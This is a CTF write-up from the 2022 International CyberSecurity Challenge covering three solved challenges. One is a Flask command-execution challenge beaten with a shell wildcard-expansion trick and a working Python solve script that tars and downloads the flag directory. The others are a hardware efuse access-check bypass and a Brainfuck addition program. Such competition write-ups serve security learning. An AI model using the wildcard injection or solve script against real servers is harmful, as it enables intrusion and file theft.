Introduction

In June of 2022 I was invited to play for CyberSCI Team Canada at the first International CyberSecurity Challenge, hosted by ENISA in Athens, Greece. Here are a few of the challenges I solved, some of them retroactively, at the event.

The website for the event cant be found at https://ecsc.eu/icc/.


Web of 64

Category: Web

Description

What is written in /flag.txt?

Code

#!/usr/bin/env python3
 
import os
import sys
import base64
import binascii
import tempfile
 
from flask import *
 
app = Flask(__name__)
 
def decode(input):
    if len(input) > 10:
        return None
    try:
        res = base64.b64decode(input).decode()
        if "flag" in res:
            return None
        return res
    except binascii.Error:
        return None
 
 
@app.route("/")
def root():
    return send_file(__file__, mimetype="text/plain", download_name="app.py")
 
 
@app.route("/run/<cmd>", methods=["GET"])
def challenge(cmd):
    sc = decode(cmd)
    if not sc:
        return clean(True)
 
    if 'id' not in session:
        session['id'] = os.path.basename(tempfile.mkdtemp())
 
    os.environ['PATH'] = '/bin'
    os.chdir(os.path.join(tempfile.gettempdir(), session['id']))
    os.system(sc)
    return redirect('/')
 
 
@app.route("/cat/<file>", methods=["GET"])
def cat(file):
    if 'id' in session:
        if (fn := decode(file)):
            try:
                dir = os.path.join(tempfile.gettempdir(), session['id'])
                st = os.stat(os.path.join(dir, os.path.basename(fn)))
                if st.st_size < 4097:
                    return send_from_directory(dir, fn)
            except FileNotFoundError:
                return clean(True)
    return clean(True)
 
 
@app.route("/logout", methods=["GET"])
def clean(fail=False):
    if 'id' in session:
        dir = os.path.join(tempfile.gettempdir(), session['id'])
        os.system('rm -rf ' + dir)
        session.pop('id')
    return (render_template("status.html", fail=fail), 418 if fail else 200)
 
 
if __name__ == "__main__":
    os.system("""
        while :
        do
          touch /tmp/ref
          sleep 10
          find $TMPDIR -type f \! -newer /tmp/ref -delete
        done &
    """)
    app.secret_key = os.urandom(16)
    app.run(host="0.0.0.0", port=5000, debug=False)
 

Solution

Important things to consider:

  • /run/<cmd> endpoint runs a command using os.system().
    • Commands can only be 6 chars (10 in base64).
  • /cat/<file> gets a file.
    • File names can only be 6 chars (10 in base64).
  • The string “flag” can not be included in our base64-encoded data.

We needed to work around the 6 character limit. Using and example from https://blog.karatos.in/a?ID=01650-1b895396-acd4-461c-8a7e-fe8f5e7eee0e, we found that we could use a wildcard expansion exploit to increase the size of the commands we can run.

The process was the following:

  1. Tar the /flag directory and put the tarball in the /tmp/<id> directory for our session.
  2. Use the cat endpoint to download the tarball to our local.

Initial attempts failed until we realised that the binaries installed on the remote are from busybox. Busybox binaries are meant to be minimal, which means they don’t include all flags that would be on a fully-functional binary. We used the following docs to help build the payloads: https://boxmatrix.info/wiki/Property:tar.

We used the following command to tar the flag directory:

tar vcf z /f*

We then used the cat endpoint to download the resulting tarball, z.

Because of the 6 char limit, we created the following files to be used in our wildcard exploit:

  • tar
  • vcf
  • z

Finally, we run the wildcard exploit, where the files generated before expand into the full command:

* /f*

A similar process was used to determine that flag.txt exists in the /flag directory. It involved piping the output of ls to a file and downloading it.

Solve script

This is the script that returned the flag.

import requests
import base64
 
HOST = "http://10.3.44.4:1118"
 
def encode(data: str) -> str:
	data = base64.b64encode(data.encode()).decode()
 
	if len(data) > 10:
		print("FAIL!")
		exit(1)
	return data
 
def run(sess, command: str):
	command = encode(command)
	res = sess.get(f"{HOST}/run/{command}")
	print(res.status_code)
 
	return res
 
def cat(sess, file: str):
	file = encode(file)
	res = sess.get(f"{HOST}/cat/{file}")
	print(res.status_code)
 
	return res
 
if __name__ == "__main__":
	sess = requests.session()
 
	# TAR BUSYBOX LOCAL
	run(sess, ">tar").text
	run(sess, ">vcf").text
	run(sess, ">z").text
	run(sess, "* /f*").text
 
	output = cat(sess, "z").text
 
	print(output)
 
  web-of-64 python3 solve.py
200
200
200
200
200
Q

Flag

icc{6b1513fa-e3f7-4dc9-b110-66cac22ee98e}

References


You shall not pass

Description

Connect to the device via USB at baud 115200. You’re now in a Python shell.
You can paste snippets using CTRL+E and CTRL+D.

Extract the flag from efuse by calling secure_read_efuse_block(<block>, <start_offset>, <length>)
Use get_flag(<bytes>) to convert found data into a flag.

You can submit the flag by calling flags.submit_flag("CTF{xxxx}").

Run help() to repeat challenge info.

To show off our 1337 skills we have included part of the implementation here:

def secure_read_efuse_block(block, start_offset, length):
	if block == efuse.EFUSE_BLK2 and length > 0:
		print('No access allowed to secure efuse region!')
	else:
		length = length if length > 0 else 256

Solution

This was the first, and easiest, challenge on the hardware badge. Because of this, the solution is fairly straightforward.

To be honest, I found the correct sequence of bytes by just guessing. If you pass a length of 0 into secure_read_efuse_block, it will return 32 bytes of data. This allows you to read the efuse.EFUSE_BLK2 region and bypass the first guard in the code.

>>> secure_read_efuse_block(efuse.EFUSE_BLK2, 0, 0)
 
b'P\xd1\xf7\xf8\xcb]\xe7e\xcc\x0e\x91\n\x90\x8b\xa4\x82*\x08^\xf8I\x1d\x1f\xee\x00\x00\x00\x00\x00\x00\x00\x00'
>>> get_flag(secure_read_efuse_block(efuse.EFUSE_BLK2, 0, 0)[:24])
 
CTF{50d1f7f8cb5de765cc0e910a908ba4822a085ef8491d1fee}

Flag

CTF{50d1f7f8cb5de765cc0e910a908ba4822a085ef8491d1fee}


Insane in the Membrain

Description

Call solve(program="><[]+-,.") to provide a BrainSuck program
that can add sequences of bytes that end in a null byte.

For example:
Input (hex): “010200”. Output (hex): “03”

Inputs and outputs are treated as byte values - not ASCII and not hex-encoded

Solution

This challenge uses the language “Brainfuck”, which is a language that is essentially just a Turing Machine.

CharacterMeaning
>Increment the data pointer (to point to the next cell to the right).
<Decrement the data pointer (to point to the next cell to the left).
+Increment (increase by one) the byte at the data pointer.
-Decrement (decrease by one) the byte at the data pointer.
.Output the byte at the data pointer.
,Accept one byte of input, storing its value in the byte at the data pointer.
[If the byte at the data pointer is zero, then instead of moving the instruction pointer forward to the next command, jump it forward to the command after the matching ] command.
]If the byte at the data pointer is nonzero, then instead of moving the instruction pointer forward to the next command, jump it back to the command after the matching [ command.

I used this online interpreter to help debug my code.

The code to solve this challenge is below:

>               # Set up accumulator (with first byte).
,               # Read in the first byte.
<               # Restore to start.
,               # Read second byte.
 
[               # If the byte is zero, we're done reading.
    [
        >
        +       # Add to accumulator.
        <
        -       # Subtract from byte
    ]
    ,           # Read in next byte
]
>               # Move to accumulator.
.               # Output.

Running solve(">,<,[[>+<-],]>.") returns the flag.

Flag

CTF{771bce26ac7b238bbb6220cd795501d2f547a3ba1ca235f1}

References